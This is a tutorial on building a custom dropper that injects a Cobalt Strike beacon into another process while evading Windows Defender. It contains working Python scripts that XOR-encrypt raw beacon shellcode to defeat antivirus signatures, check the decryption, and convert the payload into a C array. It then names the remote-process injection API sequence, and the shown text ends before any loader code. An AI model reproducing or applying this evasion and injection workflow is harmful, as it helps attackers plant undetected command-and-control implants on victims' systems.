Shellcode injection is a popular technique used by malware developers to inject code, known as shellcode, into a running process.
Objective
The goal is to create a custom injector/dropper that loads cobaltstrike beacon into another thread, without tipping off Windows Defender.
Encrypting Shellcode
Before creating the loader, we need to obtain our shellcode from CS. Fortunately for us, cobalt strike is able to generate staged shellcode and output in a raw format.
However, this raw format is also heavily signatured by AV- so we will need to encrypt it before we can put it in our loader.
This is a quick Python utility to XOR encrypt the shellcode:
def xor(file_path, key):
try:
with open(file_path, 'rb') as file:
data = file.read()
encrypted_data = bytearray(data)
for i in range(len(encrypted_data)):
encrypted_data[i] ^= key[i % len(key)]
return encrypted_data
except Exception as e:
return f"An error occurred: {e}"
encrypted_payload = xor(file_path="./original/payload_x64.bin", key=b"\x41\x41\x41\x41")
with open("./encrypted/encrypted_x64.bin", 'wb') as file:
file.write(encrypted_payload)
And a sanity check, just incase something went wrong.
def xor(file_path, key):
try:
with open(file_path, "rb") as f:
data = f.read()
encrypted_data = bytearray(data)
for i in range(len(encrypted_data)):
encrypted_data[i] ^= key[i % len(key)]
return encrypted_data
except Exception as e:
return f"An error occurred: {e}"
with open("./original/payload_x64.bin", "rb") as f:
before = f.read()[0:0x10]
with open("./encrypted/encrypted_x64.bin", "rb") as f:
after = f.read()[0:0x10]
dec = bytes(xor(file_path="./encrypted/encrypted_x64.bin", key=b"\x41\x41\x41\x41"))[0:0x10]
print(f"[*] Before: {before}")
print(f"[*] After: {after}")
print(f"[*] Decrypted: {dec}")
print(f"[*] OK? {before == dec}")
Another quick Python utility I wrote for another project a while back exe2c_sh which converts EXEs into an injectable C format using Donut.
def to_code(file_path: str) -> str:
with open(file_path, 'rb') as file:
bytesread = file.read()
bytes_array = [f"0x{byte:02X}" for byte in bytesread]
bytes_string_final = ', '.join(bytes_array)
ps_shellcode = f"unsigned char shellcode[] = {{ {bytes_string_final} }};"
return ps_shellcode
formatted = to_code("./encrypted/encrypted_x64.bin")
with open("./encrypted/encrypted_x64.c", "w") as f:
f.write(formatted)
The Loader
The loader will use the standard method of shellcode injection into a remote process using OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.
β οΈ When compiling the binary, ALWAYS use Release mode to strip the binary from symbols and ensure that you compile to the right architecture! x64/x86